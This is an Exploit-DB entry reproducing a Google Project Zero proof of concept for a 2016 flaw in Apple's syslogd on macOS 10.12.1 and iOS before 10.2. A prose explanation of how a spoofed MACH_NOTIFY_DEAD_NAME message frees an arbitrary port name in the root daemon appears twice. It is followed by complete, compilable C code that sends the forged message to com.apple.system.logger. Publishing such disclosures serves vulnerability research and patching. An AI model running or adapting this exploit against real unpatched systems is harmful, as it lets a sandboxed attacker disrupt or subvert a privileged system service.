Exploit-DB #40959
Description: Apple macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacement
Type: dos
Platform: multiple
Date: 2016-12-22
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

    ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
  ...
    if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
    {
      deadname = (mach_dead_name_notification_t *)request;
      dispatch_async(asl_server_queue, ^{
        cancel_session(deadname->not_port);
        /* dead name notification includes a dead name right */
        mach_port_deallocate(mach_task_self(), deadname->not_port);
        free(request);
      });

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in syslogd

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

		ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
	...
		if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
		{
			deadname = (mach_dead_name_notification_t *)request;
			dispatch_async(asl_server_queue, ^{
				cancel_session(deadname->not_port);
				/* dead name notification includes a dead name right */
				mach_port_deallocate(mach_task_self(), deadname->not_port);
				free(request);
			});

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.system.logger";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}